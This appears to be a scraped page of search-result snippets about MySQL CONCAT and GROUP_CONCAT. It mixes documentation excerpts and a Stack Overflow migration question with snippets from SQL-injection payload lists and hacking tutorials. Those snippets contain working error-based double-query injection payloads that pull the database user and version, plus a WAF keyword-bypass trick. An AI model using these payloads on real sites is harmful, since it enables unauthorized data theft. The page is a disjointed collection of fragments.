Simulating group_concat MySQL function in... - Stack Overflow
I'm trying to migrate a MySQL-based app over to Microsoft SQL Server 2005 (not by choice, but that's life). In the original app, we used almost entirely ANSI-SQL compliant statements...
SQL-Injection-Payloads/sqli-misc.txt at master...
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat
Error based MySQL injection или не надо ругаться / Хабр
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
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SQL Инъекции | Page 4 | ANTICHAT - Security online community
Last edited by a moderator: 3 Nov 2015.
Hacking: Error based sql injection tutorial - Double query injection
ultimatehackingarticles.blogspot.com
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
SQL injeCtion : ByPassing WAF (Web Application Firewall) - CyberNinjas
cyb3rninjas.blogspot.com
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
MySQL :: MySQL 8.0 Reference Manual :: 12.5 String Functions
CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments.
MySQL CONCAT() Function | Definition and Usage
SELECT CONCAT("SQL ", "Tutorial ", "is ", "fun!") AS ConcatenatedString; Try it Yourself ». Definition and Usage. The CONCAT() function adds two or more expressions together. Note: Also look at the CONCAT_WS() function. Syntax.
CAST and CONVERT (Transact-SQL) - SQL Server | Microsoft Docs
Conversion from image to varbinary(max), and vice-versa, operates as an implicit conversion, as do conversions between text and varchar(max)